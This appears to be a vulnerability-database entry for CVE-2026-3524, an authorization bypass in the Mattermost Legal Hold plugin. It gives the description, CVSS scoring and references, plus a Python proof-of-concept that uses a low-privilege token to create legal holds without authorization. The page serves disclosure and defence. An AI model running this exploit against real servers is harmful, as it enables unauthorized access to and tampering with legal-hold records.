CVE-2026-3524

Description

Mattermost Plugin Legal Hold versions <=1.1.4 fail to halt request processing after a failed authorization check in ServeHTTP which allows an authenticated attacker to access, create, download, and delete legal hold data via crafted API requests to the plugin's endpoints. Mattermost Advisory ID: MMSA-2026-00621

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mattermost Plugin Legal Hold <= 1.1.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
# Replace with the actual Mattermost domain
target_url = "https://<mattermost-domain>/plugins/com.mattermost.legal-hold/api/v1/holds"

# Authentication token for a low-privileged user
# Attacker needs any valid session
auth_token = "LOW_PRIVILEGE_USER_TOKEN"

headers = {
    "Authorization": f"Bearer {auth_token}",
    "Content-Type": "application/json"
}

# Payload to create a legal hold (exploiting the bypass)
payload = {
    "description": "Malicious Legal Hold created via PoC",
    "name": "PoC Hold",
    "user_ids": ["target_user_id_1", "target_user_id_2"]
}

try:
    # Send POST request to create data without proper authorization
    response = requests.post(target_url, json=payload, headers=headers, verify=False)
    
    if response.status_code == 200 or response.status_code == 201:
        print("[+] Exploit successful! Legal hold created via authorization bypass.")
        print(f"[+] Response: {response.text}")
    else:
        print(f"[-] Exploit failed or patched. Status code: {response.status_code}")
        print(f"[-] Response: {response.text}")
except Exception as e:
    print(f"[-] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3524
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3524
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3524/
[4] VulDB https://vuldb.com/cve/CVE-2026-3524
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3524", "sourceIdentifier": "[email protected]", "published": "2026-04-06T13:17:18.417", "lastModified": "2026-04-07T13:20:35.010", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugin Legal Hold versions <=1.1.4 fail to halt request processing after a failed authorization check in ServeHTTP which allows an authenticated attacker to access, create, download, and delete legal hold data via crafted API requests to the plugin's endpoints. Mattermost Advisory ID: MMSA-2026-00621"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}